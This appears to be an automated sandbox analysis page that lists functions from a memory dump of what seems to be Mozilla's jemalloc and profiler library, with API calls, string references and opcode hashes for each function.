String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

user32.dll, xrefs: 6C666526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED
nvd3d9wrap.dll, xrefs: 6C666500
nvdxgiwrap.dll, xrefs: 6C666513
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C6A5AC3
schema, xrefs: 6C6A606D
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
data, xrefs: 6C6A6131
name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Time entry, xrefs: 6C6A5CB6

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
set , xrefs: 6C6A36EC
get , xrefs: 6C6A3205

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
(pre-xul), xrefs: 6C697E88
name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
